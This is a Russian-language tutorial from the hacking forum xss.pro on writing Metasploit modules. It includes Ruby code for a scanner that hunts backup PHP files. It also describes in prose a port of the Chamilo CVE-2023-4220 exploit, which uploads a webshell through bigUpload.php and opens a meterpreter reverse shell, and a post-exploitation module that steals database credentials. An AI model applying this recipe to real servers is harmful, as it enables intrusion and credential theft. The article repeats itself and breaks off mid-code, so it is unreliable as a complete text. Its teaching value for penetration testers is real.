Автор petrinh1988
Источник https://xss.pro
Всем привет!
Как-то я обещал написать статью о разработке модулей для Metasploit, вот и настал час))) Думаю, что актуальность темы очевидна. Metasploit крайне крутой инструмент, который значительно облегчает пентестерские и хакерские будни. В том числе, из-за тысяч готовых модулей. Но далеко не все охватывают готовые решения. Речь даже не о каких-то приватных решениях, модули появляются не моментально и вполне реальна ситуация, когда есть публичная CVE, а модуля под нее нет.
Можно зайти и с другой стороны. Если вы учитесь пентесту и неплохо разобрались с тем, как пишутся модули для MSF, ничто не мешает посмотреть исходники существующих модулей и таким образом расширять познания. Хотя… этими извращениями страдает не так много людей, может быть я и еще пару сумасшедших)))
Статья и про теорию и про практику. Сначала разберемся какие бывают модули, посмотрим стандартную структуру, в общем хотя бы как-то въедем в тему. После напишем несколько модулей. Первый сугубо тренировочный, направленный на знакомство с основами создания модулей. Второй ориентирован на реальную уязвимость в достаточно популярном продукте Chamilo — CVE-2023-4220. Учитывая, что уже есть готовые эксплоиты, мы будем портировать решение. Завершающим этапом сделаем модуль постэксплуатации взломанного сервера. Соберем немного информации.
Писать будем на Ruby. Но, если не шарите, не переживайте. Я буквально в третий раз пытаюсь что-то ваять на нем. В целом ничего сложного, бывают, мягко говоря, непонятные конструкции, но я постараюсь их объяснять Кроме того, в интернете куча справки, мне помогало… Ну и,.да простят меня профессионалы и адепты этого языка за криворукость))) Кроме того, к статье предлагаю относиться, как к исследованию, ни в коем случае не являюсь гуру написания модулей.
Auxiliary — вспомогательные модули, которые выполняют не основные задачи (в метасплоит это эксплуатация), но тем не менее достаточно важные. Это могут быть сканеры, фаззеры и т.п. Даже если цель dos сервера, это тоже задача для auxiliary модулей. Сбор информации, перечисление каких-то данных, административные функции - все это сюда же.
Exploits — модули использующие уязвимости для выполнения кода или получения доступа к таргету.
Encoders — модули кодирующие полезную нагрузку. Задача модулей обойти механизм безопасности, например, обфускацией.
Payloads — модули генерирующие полезные нагрузки, которые пытаются выполнить эксплоиты. Кроме того, этот тип модулей может быть использован для генерации автономных исполняемых файлов, которые после доставки и выполнения позволяют получить доступ.
Post— модули пост-эксплуатации, нужны для поддержания надежного соединения со скомпрометированным сервером и выполнения на нем необходимых злоумышленнику задач. Например, сбор данных на взломанной машине.
Но модули Метасплоит не ограничиваются только этими категориями. Если копнуть глубже, можно значительно расширить список:
NOP — используются для генерации NOP-слайдов (No Operation), которые помогают стабилизировать эксплойты. На мой взгляд, это довольно специфичный тип модулей. В официальной справке указывается, что чаще всего NOP sled используются в эксплоитах связанных с переполнением буфера. Так же, используют для обфускации, чтобы скрыть полезную нагрузку, например, от антивирусов.
Evasion — модули «уклонения» призваны позволят обходить защиту антивирусов, таких как «Windows Defender»
Listener — если условия настолько специфичные (нестандартный протокол, нужно добавить логику или шифрование и т.п.), что не хватает уже доступных в Метасплоит слушателей для организации коннекта, пользователь всегда может добавить свой,
Plugins — плагины, это особый тип модулей, который позволяет создавать любимые мной интеграции. Если эта тема интересна, дайте знать, могу выдать очень интересный материал. Интеграция Метасплоита со сканерами мне показалась крайне интересной, можно построить конвейер в полуавтоматическом режиме ломающий таргеты.
Не претендую на полноту списка, да и разные мнения читал по поводу выделения типов… например, кто-то Shellcodes выделяет, как отдельный вид модулей, хоть они и относятся к Payloads. Моя задача показать широту возможностей, а не сделать справочник по всем возможностям Metasploit для разработчиков.
Первым делом, всегда импортируется ядро msf. Далее мы объявляем класс модуля, указав от кого наследуем. Основные родители это:
Следующие строки должны импортировать миксины, содержащие нужные нам функции. Это предопределенные модули и их слишком большое количество, чтобы попытаться здесь разобрать. Есть миксины для брутфорса, работы с подключением по SSH, генераторы пэйлоадов. Все они, если я правильно понял систему, опираются на Rex (Ruby Exploitation Library) — это базовая библиотека Metasploit, написанная на Ruby, которая предоставляет низкоуровневые функции. В коде мы будем использовать её, например, чтобы понять работаем ли мы сейчас с IPv4 или IPv6.
Следом вызывается функция инициализации, где мы передаем мета-информацию о нашем модуле. В примере выше простейшее описание: название, автор и т.п. Но далее, в примерах, мы увидим более интересные настройки. Например, платформа, типы пэйлоадов и т.п. Это максимально полноценный вариант описать модуль, причем защитив его от “дурака”. Опять же пример, ограничение типов используемых пэйлоадов через свойство “PayloadType” и команд, свойство “RequiredCmd”.
Когда описание модуля готово, можно переходить к запускающей функции. Для каждого вида модуля она будет своей:
exploit – для эксплойтов.
run – для вспомогательных модулей. Для сканнеров есть вариант run_host(ip), она запускает сканирование для каждого хоста в отдельности.
check - в экслоитах используется для тестирования хоста на уязвимость. Эта функция должна возвращать функцию объекта Msf::Exploit::CheckCode, об этом будет информация в блоке про написание эксплоита.
Для эксплоитов также стоит указывать Rank (надежность эксплоита):
В целом, это вся базовая информация касающаяся модулей. Давайте практиковаться.
Начнем с простого. Модуль будет принимать стандартные LHOST и LPORT, указывающие на таргет. Кроме этого, добавим параметр FILES_WL. Предполагается, что пользователь уже провел предварительное сканирование при помощи ffuf, gobuster, dirb или любой другой программулины. На выходе у пользователя есть список путей к PHP-файлам. Пути без указания домена, только часть относящаяся к pah, т.к. модуль будет скрещивать переменные. Не лишним будет добавить параметр BACKUP_EXTS_WL со списком расширений для поиска.Последний параметр, который сейчас нужен, это SSL — нужно понимать, работать с http или https.
Сначала создадим структуру проекта:
Сразу бросается в глаза схожий функционал между чтением двух вордлистов. Напишем общую функцию, которая получит строки из файлов:
Думаю, код вполне понятный, даже если вы никогда не писали на руби. Объявляем пустой массив, убеждаемся что все хорошо и файл существует. После чего открываем на чтение и проходим по всем строкам, добавляя не пустые в массив.
Следующим этапом реализуем запускающую функцию run_host(), в ней основная логика. После чего можно будет дописать все вспомогательные функции:
Сначала получаем массивы из обоих файлов-словарей. Убеждаемся, что массивы не пустые. Далее проходимся по каждому пути файла, создавая варианты названий бэкапов. Завершает картину вложенный цикл, который поочередно чекает файл на существование на сервере.
Функция просто стыкует расширения и пути. Из особенностей, это два варианта образования имени архива:
Это сделано чтобы охватить вариант wp-config.php.old и wp-config.old.
Еще одна особенность, это отделение расширения от имени файлов. Если просто сплитить и брать второй элемент, мы получим кривые результаты если в имени файла две и более точек.
Осталось функция проверки файла:
Через send_request_cgi отправляем запрос на сервер. Если есть ответ и он “200”, выводим радостное сообщение пользователю и сохраняем информацию в базу через report_note. Остановлюсь чуть подробнее на этих функциях. Давайте глянем, какие есть варианты сообщать информацию:
print_status - информационное сообщение пользователю, цвет сообщения белый [*]
print_good - радостно (зеленым) сообщаем, что что-то нашли [+]
print_warning - соответственно, желтое предупреждение [!]
print_error - ошибка, но не критическая. Цвет красный [-]
print_debug - голубым цветом выводится отладочная информация [*]
Причем, если вывод должен зависеть от verbose режим, то к названию функции надо добавить “v”. Например, vprint_good.
Если нужно сохранять информацию в лог, без вывода на экран, доступна функция elog().
Функция report_note несет в себе больше функционала, так как сохраняет результаты сканирования в общий отчет по сканированию ресурса. Она не обязательная, но дает серьезные плюсы при комплексной работе. Благодаря ей, другие модули узнают о наличии уязвимости. Более того, если указать update: :unique, это гарантирует что добавленный путь не будет дублироваться. Ну и без выполнения этой функции, результаты будут видны только во время выполнения модуля.
Модуль готов. Для тестирования создадим простой проект в Docker. Все нужные архивы будут прикреплены к статье. Структура тестового проекта:
Как видно из структуры, наш вспомогательный модуль должен найти два файла. Запускаем метасплоит и, на всякий случай, делаем reload_all после чего указываем использовать наш модуль:
Класс, пока все работает как надо. Не знаю как у вас, но у меня это всегда вызывает детский восторг… понятно, что по другому и быть не могло, но блин это работает)))) Укажем нужные опции:
Но при запуске случится ошибка…
Просто затупил и указал относительный путь, когда надо прописывать полный /home/kali/Test.. Оставляю здесь, мало ли кто мучатся будет. Исправляем, запускаем:
Отлично, файлы архивов успешно найдены и мы получили красивый вывод! Но по какой причине прошло два сканирования вместо одного? Все дело в том, как работает метасплоит с доменными именами. Первым делом он резолвит DNS (A для IPv4 и AAAA для IPv6). После доменное имя преобразуется во все связанные IP-адреса и каждый адрес сканируется отдельно. Когда речь идет о localhost, при резолве получается две записи: 127.0.0.1 для IPv4 и ::1 для IPv6. С другими доменами может быть подобная ситуация, если работает и IPv4 и IPv6. Избежать подобного поведения можно указав конкретный адрес:
Чтобы избежать такого поведения в нашем модуле, можно добавить небольшой кусок кода в запускающую функцию:
После чего включить режим verbose, чтобы наш vprint отображался, через
Отныне и во веки, наш модуль перестанет взаимодействовать с IPv6 адресами. При необходимости можно создать глобальный параметр указывающий, надо ли обрабатывать шестерки, но здесь это лишнее.
Начнем с добавления двух параметров:
PRESCANNED - булево значение, которое указывает, является ли FILES_WL ранее отсканированной структурой или это просто словарь с возможными названиями файлов и папок.
MAX_DEPTH - максимальная глубина первичного сканирования
Нам нужно поменять логику запускающей функции. Проверить состояние “PRESCANNED”, если true, то запустить функцию первичного сканирования. В ином случае просто получаем массив, как и раньше. Сделал через тернарный оператор:
Функция построения структуры:
Как видно, фактически это функция инициализации процесса. Все дело в том, что сканирование предполагается рекурсивное. Чтобы не превращать код в ад, рекурсивная функция написана отдельно. За нее отвечает следующий кусок кода:
Для каждого значения словаря, формируем новые пути. Проверяем есть ли у нас пхп-файл с таким именем, после чего проверяем есть ли директория с таким именем. В директорию, соответственно, рекурсивно углубляемся.
Функции проверки на существование директории:
В целом, при нормальных настройках сервера, функция неплохо справляется со своими задачами. Все сломать могут безумные сеошники/дорвейщики и иже с ними. Те, кто предпочитает на любой урл возвращать статус 200, либо не обрабатывать 404 и редиректить на главную. Но здесь возникает вопрос адекватности затрачиваемых ресурсов. Если атакуемое веб-приложение имеет такие особенности, проще бороться с ними используя профессиональные инструменты фаззинга.
Чек существования файла PHP:
Обе функции чека вызывают проверку на наличие php-контента. По большей части, эта функция смотрит чтобы был текстовый ответ, а не какой-нибудь стрим и т.п.:
Натравлю на наш тестовый сервер расширенную версию модуля, чтобы убедиться в работоспособности:
Фанфары, все дела — модуль прекрасно справляется со своей задачей. Можете себя поздравить, вспомогательные модули полностью вам поддались. Пойдем копаться в эксплуатации:
Таким образом, у нас появится простейший шелл, который через GET-запрос даст нам почти полную свободу действий. Пора бы уже собрать тестовый сервер и опробовать атаку…
Для начала скачаем архив с нужным релизом Chamilo отсюда.
Следующим этапом соберем проект для Docker. Как обычно, готовый архив приложен к статье. Структура проекта будет выглядеть следующим образом:
В html копируем все файлы из архива Chamilo. Папке data будет монтироваться в проект и использоваться как хранилище.
Содержимое Dockerfile
Содержимое docker-compose.yml.
Билдим докер проект и заходим по адресу http://localhost:8080/. Если все сделано правильно, вы увидите радостное приветствие от Chamilo. Остается произвести установку и начать работу с приложением.
С установкой проблем не должно возникнуть. Почти все время жмем “Следующий”. Данные о “компании” забил от фонаря, хотя можно было и проигноировать полностью. Для подключения к БД используем следующие данные:
При установке у меня возникла проблема с подключением к базе данных. Контейнер с базой лежал, а в логах была такая ошибка:
Решился вопрос заменой mysql на mariadb. Если столкнулись с подобным, просто попробуйте подобрать другой вариант (разные версии и образы mysql):
Через несколько минут, стенд полностью готов к тестированию.
В результате получим:
Проблема в том, что не создалась папка files в bigupload. По идее, папка должна создаваться сама, по крайней мере при загрузке документа в курс. Но в моем случае этого не произошло. Возможно потому что вообще никак не заморачивался с настройками и проигнорировал рекомендации Chamilo. Может с контейнером накосячил… либо разрабы внесли изменения в релиз. Интересно, что в исходниках из релиза папка есть.
Чтобы не заморачиваться, просто создал папку на сервере, по пути “/var/www/html/main/inc/lib/javascript/bigupload” и назначил ей права 777. После чего эксплоит прекрасно отработал:
Что же, все отлично эксплуатируется, теперь займемся портированием эксплоита в Metasploit.
Если посмотреть код эксплоита, от нас требуется только выполнить один POST-запрос на bigUpload.php. Указав в GET-параметрах action=post-unsupported. В тело запроса вставляем PHP-файл, который представляет собой простейший webshell. После чего, можно просто взаимодействовать с этим шеллом.
Создаем новый .rb - файл с базовой структурой. Путь к файлу:
Чтобы быть честными, добавляем информацию об авторе эксплоита и чуть-чуть по себя:
Это уже рабочий модуль)))
Из параметров, которые нужно указать пользователю (помимо стандартных RHOST, etc.) это “TARGETURI” - путь к папке с Chamilo.
Начнем с проверки на существование уязвимости. Для разнообразия, сделаю механизм получения версии PHP на сервере. Скрипт загрузит файл, который вызовет phpinfo(), после чего удалит файл (нам же нужно как можно меньше следов?). Получив информацию о php, модуль распарсит ответ и вычлени версию. Согласен, что идея сомнительная, зато забавная:
Что мы тут делаем?
Обратите внимание, что результат проверки возвращается через Exploit::CheckCode. Кроме использованных вариантов, есть еще: Detected - уязвимость обнаружена, но может быть не эксплуатируемой: Appears - косвенные признаки наличия уязвимости (например, в нашем случае это просто обнаружение папки bigupload/files); Unsupported - неподдерживаемая система…
Функция чека готова, давайте затестируем её. Настроим параметры эксплоита:
Первый запуск:
Отлично, чек прекрасно работает. PHP-файлы свободно грузятся через уязвимость, код отработал и показал нам версию PHP на сервере. Напишем код эксплоита, который будет выполнять тот же “id” на сервере:
Здесь у нас две новых функции Metasploit Framework API:
Логика, думаю, вполне понятная: загрузили шелл и передали ему команду, ответ распечатали. Если что-то пошло не так, выкинули ошибку.
Все работает, но для Метасплоита это мелкова-то…а вот прикрутить доступные в нем обратные оболочки, чтобы программа из консоли сразу подключилась и предоставила возможность спокойно и уверенно взаимодействовать с сервером, вполне себе задача. Перепишем код функции эксплоита так, чтобы модуль использовал загрузку по стадиям и спокойно взаимодействовал с php/meterpreter/reverse_tcp.
Начнем с фукнции инициализации:
Как видно, она сильно преобразилась, добавилось перечисление поддерживаемых платформ и архитектур. Кроме того, появилось подробное описание таргетов. Это нужно, чтобы у пользователя было больше возможностей для создания надежных сессий. Не получилось запуститься через PHP, пробуем пэйлоады подходящие к той или иной юникс-подобной системе. Юникс-подобной по причине того, что у нас тестовый сервер на Linux
При использовании модуля, от пользователя потребуется только указать IP удаленного и своего хоста, плюс порты. Дополнительные свойства это путь к чамило (TARGETURI) и имя файла вебшелла с которым он будет загружен на сервер (WEBSHELL_NAME).
Так как у нас несколько вариантов платформ, оптимальным вариантом будет раскидать работу с каждой в отдельную функцию. В результате запускающая функция будет выглядеть как-то так:
Внезапно к нам на огонек ворвался объект “target”. Этот чудесный объект нигде объявлять не нужно, нам его дарит Metasploit Framework API. Он является глобальным и доступен во всех методах. Основные свойства: name, arch, platform. Является расширяемым, зависит от метаописания модуля и настроек. В нашем примере, когда пользователь выполнит “set TARGET 0”, объект получит имя “PHP”, платформу “php” и архитектуру “ARCH_PHP”. Дополнительно, пэйлоад установится в 'php/meterpreter/reverse_tcp'.
Вернемся к коду. Сначала выполняется функция загрузки шелла. Независимо от платформы и прочего, мы будем запускать один и тот же кусок кода:
@webshell_url начинается с собаки, чтобы переменная была глобальной, так как потребуется полный урл нашего вебшелла, какой бы тип пэйлоада мы не выбрали.
Почти ничего нового, кроме крутого объекта “payload”. В нем храниться информация о нашем пэйлоаде. В данном случае, мы берем подготовленную для таргета версию (encoded) и заменяем апострофы. При необходимости можно получить сырой пйэлоад (raw), посмотреть запрещенные символы (badchar) и т.д. Данный объект нельзя изменять, но при необходимости можно на лету создать новый пайлоад с новыми параметрами. Самый простой вариант использования генератора пайлоадов — подбор обхода WAF при той же SQL Injection.
Тестовый запуск атаки:
Как видно, наш модуль прекрасно отработал. Создалась сессия, загрузилась оболочка, стабильный доступ к серверу организован. Даже остался мусор в виде тестовых файлов)))
В данном случае используется создание сессии по шагам. Думаю, если вы читаете тему, вряд ли нужно объяснять как это работает))) Чтобы запустить процесс, когда у нас есть возможность выполнять команды на сервер, достаточно вызвать функцию “execute_cmdstager”.
Причем, функция работает не только для linux-платформ. Можно так же создавать сессию для веб-приложений или Windows-систем. Функция крутая, проще справку по ней почитать, чем писать статью в статье)))
Обратите внимание, что в данном случае у нас появляется необходимость указать SRVPORT и он должен быть свободным. Так как докер крутит Chamilo на 8080, указал 8081:
Результат работы скрипта:
Функция для Unix очень похожа на PHP:
Результат работы выглядит так:
Чтоже, целей своих мы добились — уязвимость прекрасно чекается, эксплуатируется и создаются полноценные сессии в Метасплоите.
Но есть ли альтернативный путь? Что если нет возможности использовать существующие пэйлоады? В этом случае, нам на помощь придет команда “handler”.
В данном случае, код не несет смысловой нагрузки, просто как демонстрация, пример использования handler.
handler создаст слушатель, который дождется обратного соединения и автоматически обработает его, создав сессию. Но важно помнить, что при использовании reverse-shell команда должна идти до выполнения пэйлоада. Если же речь про bind-shell, когда на сервере ожидается наше подключение, хандлер вызывается после выполнения пэйлоада. Результат для пользователя — полноценная сессия, с боль-мень удобным шеллом, автодополнением команд и т.п.
Модули пост-эксплуатации могут иметь множество задач: можно при помощи них пытаться поднять привилегии; можно каким-то образом перенастраивать веб или другое приложение, если у вас поточная работа; можно собирать данные и т.д и т.п. Чтобы не уходить далеко от написанного, предлагаю решать простую задачу — получать данные подключения к базе со взломанной машины с Chamilo. Выполняем поиск “configuration.php”, после чего находим имя хоста, базы…
Начнем с инициализации модуля, здесь все привычно:
Из нового здесь строка “SessionTypes”. Это не просто формальность, она реально используется Метасплоитом. Фильтры просто не позволят увидеть модуль, если тип сессии не соответствует. Кстати, обратите внимание, что у нас не указан “meterpreter_php”, а именно он используется в Chamilo RCE в состоянии TARGET равного 1. Я не проверял совместимость кода модуля пост-эксплуатации с данными типом сессии, высока вероятность появления ошибок.
И так, нам надо найти конфигурационные файлы. Я сделал возможность расширить места поиска, но оставил одно значение в массиве, чтобы не растягивать процесс:
Функция обходит массив папок по которым ищем. Каждый раз убеждаемся, что имеем дело с директорией.
Это функция поиска в папке. В данном случае, передав “true” мы сообщаем, что поиск нужен рекурсивный. Число, ожидаемо, глубина поиска. Что интересно, при значении 5, скрипт не находил файла. Хотя казалось бы, от папки app нужно залезть в подпапку config и там лежит нужный файл.
Далее обходим найденные файлы, проверяя что они действительно существуют. На выходе функция возвращает только уникальные значения.
Функция проверки директория ли:
Как вы догадались, session.fs.file это объект, который MSFA предоставляет для взаимодействия с файловой системой привязанной к сессии с типом meterpreter. В ином случае, используется запуск команды на целевой машине через cmd_exec. Хук с include построен на том, что && echo true выполнится только в случае успешного выполнения первой части команды.
Очень похожая функция проверки файла на существование:
Когда мы нашли файлы конфигураций, самое время обойти их и поискать нужные нам значения. Чтобы не хитрить, вызов первой функции и цикл обхода, легли в запускающий метод run:
Далее читаем файл, ищем кредсы и сохраняем их если все ок:
Функция парсинга значений:
Функция проверки данных номинальная. Она нужна для того, чтобы не возникло проблем при сохранении данных. Больше на всякий случай… проверяет чтобы все данные были иначе ошибка:
Выод информации пользователю:
Последняя функция, но не последняя по значению - функция сохранения данных. Сохранять будем в JSON-файл
store_loot позволяет сохранять добытые данные в структурированном виде. Вызов с комментариями:
По идее, можно использовать команду loot, чтобы посмотреть список сохраненных в БД метасплоита лутов. После чего выбрать нужный лут и в табличном виде увидеть результа. Если не вышло, можно запустить irb, после чего найти все лут-файлы. Команды:
Вывод:
Выод из БД:
Чтобы запустить метасплоит с базой, надо поднять postgres и выполнить инициализацию командой msfdb init.
Пример файла лута:
Вроде как, если запустить msfconsole с параметром --keystore, то и лут должен быть зашифрованным.
Это не единственный способ сохранить данные, но вполне хороший вариант чтобы не потерять важные данные.
В статье мы разобрали лишь малую часть. Да, накидали неплохой модуль для поиска бэкапов. Посмотрели, как портировать существующий эксплоит. Успешно портировали, попутно разобрав кучу проблем с докером и прочим. И завершились постэксплуатацией. Но если, например, поговорить о вариантах сохранения данных, мы рассмотрели одну функцию из огромного количества.Интерфейс Msf::Auxiliary::Report поддерживает create_cracked_credential, report_note и т.д., а не только сохранение лута.
Собственно, буду рад если чирканете пару строк…, понравилась не понравилась статья, может что-то нужно добавить или раскрыть какую-то тему новой статьей? А может я чего коряво применил и есть более хороший вариант?
P.S.
В архиве две папки: Auxiliary и CVE. В первой все, что касается поиска бэкапов. Во второй все про Chamilo. Куча вложенных подпапок это фактический путь к модулям.
Источник https://xss.pro
Всем привет!
Как-то я обещал написать статью о разработке модулей для Metasploit, вот и настал час))) Думаю, что актуальность темы очевидна. Metasploit крайне крутой инструмент, который значительно облегчает пентестерские и хакерские будни. В том числе, из-за тысяч готовых модулей. Но далеко не все охватывают готовые решения. Речь даже не о каких-то приватных решениях, модули появляются не моментально и вполне реальна ситуация, когда есть публичная CVE, а модуля под нее нет.
Можно зайти и с другой стороны. Если вы учитесь пентесту и неплохо разобрались с тем, как пишутся модули для MSF, ничто не мешает посмотреть исходники существующих модулей и таким образом расширять познания. Хотя… этими извращениями страдает не так много людей, может быть я и еще пару сумасшедших)))
Статья и про теорию и про практику. Сначала разберемся какие бывают модули, посмотрим стандартную структуру, в общем хотя бы как-то въедем в тему. После напишем несколько модулей. Первый сугубо тренировочный, направленный на знакомство с основами создания модулей. Второй ориентирован на реальную уязвимость в достаточно популярном продукте Chamilo — CVE-2023-4220. Учитывая, что уже есть готовые эксплоиты, мы будем портировать решение. Завершающим этапом сделаем модуль постэксплуатации взломанного сервера. Соберем немного информации.
Писать будем на Ruby. Но, если не шарите, не переживайте. Я буквально в третий раз пытаюсь что-то ваять на нем. В целом ничего сложного, бывают, мягко говоря, непонятные конструкции, но я постараюсь их объяснять Кроме того, в интернете куча справки, мне помогало… Ну и,.да простят меня профессионалы и адепты этого языка за криворукость))) Кроме того, к статье предлагаю относиться, как к исследованию, ни в коем случае не являюсь гуру написания модулей.
Что можно писать для Metasploit?
Если честно, погружаясь в мир Метасплоита, я охреневал все больше и больше (в хорошем смысле). Обычно, когда речь заходит про его модули, все сводится к пяти типам модулей:Auxiliary — вспомогательные модули, которые выполняют не основные задачи (в метасплоит это эксплуатация), но тем не менее достаточно важные. Это могут быть сканеры, фаззеры и т.п. Даже если цель dos сервера, это тоже задача для auxiliary модулей. Сбор информации, перечисление каких-то данных, административные функции - все это сюда же.
Exploits — модули использующие уязвимости для выполнения кода или получения доступа к таргету.
Encoders — модули кодирующие полезную нагрузку. Задача модулей обойти механизм безопасности, например, обфускацией.
Payloads — модули генерирующие полезные нагрузки, которые пытаются выполнить эксплоиты. Кроме того, этот тип модулей может быть использован для генерации автономных исполняемых файлов, которые после доставки и выполнения позволяют получить доступ.
Post— модули пост-эксплуатации, нужны для поддержания надежного соединения со скомпрометированным сервером и выполнения на нем необходимых злоумышленнику задач. Например, сбор данных на взломанной машине.
Но модули Метасплоит не ограничиваются только этими категориями. Если копнуть глубже, можно значительно расширить список:
NOP — используются для генерации NOP-слайдов (No Operation), которые помогают стабилизировать эксплойты. На мой взгляд, это довольно специфичный тип модулей. В официальной справке указывается, что чаще всего NOP sled используются в эксплоитах связанных с переполнением буфера. Так же, используют для обфускации, чтобы скрыть полезную нагрузку, например, от антивирусов.
Evasion — модули «уклонения» призваны позволят обходить защиту антивирусов, таких как «Windows Defender»
Listener — если условия настолько специфичные (нестандартный протокол, нужно добавить логику или шифрование и т.п.), что не хватает уже доступных в Метасплоит слушателей для организации коннекта, пользователь всегда может добавить свой,
Plugins — плагины, это особый тип модулей, который позволяет создавать любимые мной интеграции. Если эта тема интересна, дайте знать, могу выдать очень интересный материал. Интеграция Метасплоита со сканерами мне показалась крайне интересной, можно построить конвейер в полуавтоматическом режиме ломающий таргеты.
Не претендую на полноту списка, да и разные мнения читал по поводу выделения типов… например, кто-то Shellcodes выделяет, как отдельный вид модулей, хоть они и относятся к Payloads. Моя задача показать широту возможностей, а не сделать справочник по всем возможностям Metasploit для разработчиков.
Структура модулей
Несмотря на обилие модулей, всех их объединяет почти идентичная структура.
Ruby:
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Example Scanner',
'Description' => 'This scans for vulnerable services',
'Author' => ['Your Name'],
'License' => MSF_LICENSE))
end
def run_host(ip)
...
end
end
Первым делом, всегда импортируется ядро msf. Далее мы объявляем класс модуля, указав от кого наследуем. Основные родители это:
- Msf::Exploit::Remote – для удалённых эксплойтов.
- Msf::Auxiliary – вспомогательные модули
- Msf::Post – для пост-эксплуатации.
- Msf::Encoder – для энкодеров.
- Msf::Payload::Single / Msf::Payload::Staged – для пейлоадов.
Следующие строки должны импортировать миксины, содержащие нужные нам функции. Это предопределенные модули и их слишком большое количество, чтобы попытаться здесь разобрать. Есть миксины для брутфорса, работы с подключением по SSH, генераторы пэйлоадов. Все они, если я правильно понял систему, опираются на Rex (Ruby Exploitation Library) — это базовая библиотека Metasploit, написанная на Ruby, которая предоставляет низкоуровневые функции. В коде мы будем использовать её, например, чтобы понять работаем ли мы сейчас с IPv4 или IPv6.
Следом вызывается функция инициализации, где мы передаем мета-информацию о нашем модуле. В примере выше простейшее описание: название, автор и т.п. Но далее, в примерах, мы увидим более интересные настройки. Например, платформа, типы пэйлоадов и т.п. Это максимально полноценный вариант описать модуль, причем защитив его от “дурака”. Опять же пример, ограничение типов используемых пэйлоадов через свойство “PayloadType” и команд, свойство “RequiredCmd”.
Когда описание модуля готово, можно переходить к запускающей функции. Для каждого вида модуля она будет своей:
exploit – для эксплойтов.
run – для вспомогательных модулей. Для сканнеров есть вариант run_host(ip), она запускает сканирование для каждого хоста в отдельности.
check - в экслоитах используется для тестирования хоста на уязвимость. Эта функция должна возвращать функцию объекта Msf::Exploit::CheckCode, об этом будет информация в блоке про написание эксплоита.
Для эксплоитов также стоит указывать Rank (надежность эксплоита):
Ruby:
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking # NormalRanking, GoodRanking, ExcellentRanking
В целом, это вся базовая информация касающаяся модулей. Давайте практиковаться.
Пишем Auxiliary модуль для Metasploit
Чтобы не выдумывать, напишем модуль, который ищет бэкапы PHP файлов. Фактически, фаззер, который ищет файлы по типу: wp-config.bac, wp-config.php.bak или db.php.old. Задача тривиальная и я уже писал подобные вещи, например в статье про разработку своих сканеров под Acunetix, мы искали забытые архивы. Но на примере этой задачи удобно показать принципы создания модулей для Metaspoit.Начнем с простого. Модуль будет принимать стандартные LHOST и LPORT, указывающие на таргет. Кроме этого, добавим параметр FILES_WL. Предполагается, что пользователь уже провел предварительное сканирование при помощи ffuf, gobuster, dirb или любой другой программулины. На выходе у пользователя есть список путей к PHP-файлам. Пути без указания домена, только часть относящаяся к pah, т.к. модуль будет скрещивать переменные. Не лишним будет добавить параметр BACKUP_EXTS_WL со списком расширений для поиска.Последний параметр, который сейчас нужен, это SSL — нужно понимать, работать с http или https.
Сначала создадим структуру проекта:
Ruby:
##
# This module searches for backup files on a web server.
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Web Backup PHP File Finder',
'Description' => %q{
This module searches for backup files on a web server using a pre-scanned structure.
},
'Author' => ['petrinh1988'],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://xss.pro']
]
))
register_options(
[
OptPath.new('FILES_WL', [true, 'Path to file with list of web application files']),
OptPath.new('BACKUP_EXTS_WL', [true, 'Path to file with backup extensions list']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
])
end
def run_host(target_host)
# Основная логика будет здесь
end
end
Сразу бросается в глаза схожий функционал между чтением двух вордлистов. Напишем общую функцию, которая получит строки из файлов:
Ruby:
def read_file_to_array(file_path)
array = []
if File.exist?(file_path)
File.open(file_path, 'rb').each_line do |line|
line.strip!
next if line.empty?
array << line
end
else
print_error("File not found: #{file_path}")
end
array
rescue => e
print_error("Failed to read file #{file_path}: #{e.message}")
[]
end
Думаю, код вполне понятный, даже если вы никогда не писали на руби. Объявляем пустой массив, убеждаемся что все хорошо и файл существует. После чего открываем на чтение и проходим по всем строкам, добавляя не пустые в массив.
Следующим этапом реализуем запускающую функцию run_host(), в ней основная логика. После чего можно будет дописать все вспомогательные функции:
Ruby:
def run_host(target_host)
# 1. Читаем список файлов и расширений
files = read_file_to_array(datastore['FILES_WL'])
extensions = read_file_to_array(datastore['BACKUP_EXTS_WL'])
if files.empty? || extensions.empty?
print_error("No files or extensions to check")
return
end
print_status("Starting backup scan for #{files.size} files with #{extensions.size} extensions")
# 2. Для каждого файла генерируем варианты бэкапов
files.each do |file_path|
variants = generate_backup_variants(file_path, extensions)
# 3. Проверяем каждый вариант
variants.each do |backup_path|
check_file_exists(backup_path)
end
end
print_status("Backup scan completed for #{target_host}")
end
Сначала получаем массивы из обоих файлов-словарей. Убеждаемся, что массивы не пустые. Далее проходимся по каждому пути файла, создавая варианты названий бэкапов. Завершает картину вложенный цикл, который поочередно чекает файл на существование на сервере.
Ruby:
def generate_backup_variants(file_path, extensions)
variants = []
dirname, basename = File.split(file_path)
# Разделяем имя файла на основную часть и последнее расширение
if basename.include?('.')
# Разбиваем по всем точкам
parts = basename.split('.')
# Основное имя - все части кроме последней, соединенные обратно
main_name = parts[0..-2].join('.')
last_extension = parts.last
else
main_name = basename
last_extension = nil
end
extensions.each do |backup_ext|
# Вариант 1: добавляем новое расширение (file.config.php -> file.config.php.bak)
variants << File.join(dirname, "#{basename}.#{backup_ext}")
# Вариант 2: заменяем последнее расширение (file.config.php -> file.config.bak)
if last_extension
variants << File.join(dirname, "#{main_name}.#{backup_ext}")
end
end
variants.uniq
end
Функция просто стыкует расширения и пути. Из особенностей, это два варианта образования имени архива:
- Просто добавление еще одного расширения
- Замена расширения php на потенциально возможное расширение бэкапа
Это сделано чтобы охватить вариант wp-config.php.old и wp-config.old.
Еще одна особенность, это отделение расширения от имени файлов. Если просто сплитить и брать второй элемент, мы получим кривые результаты если в имени файла две и более точек.
Осталось функция проверки файла:
Ruby:
def check_file_exists(path)
vprint_status("Checking: #{path}")
begin
res = send_request_cgi(
'uri' => normalize_uri(path),
'method' => 'GET',
'timeout' => 10,
'ssl' => datastore['SSL']
)
if res && res.code == 200
print_good("Found backup: #{path}")
# Сохраняем найденный бэкап в заметки
report_note(
host: rhost,
port: rport,
proto: 'tcp',
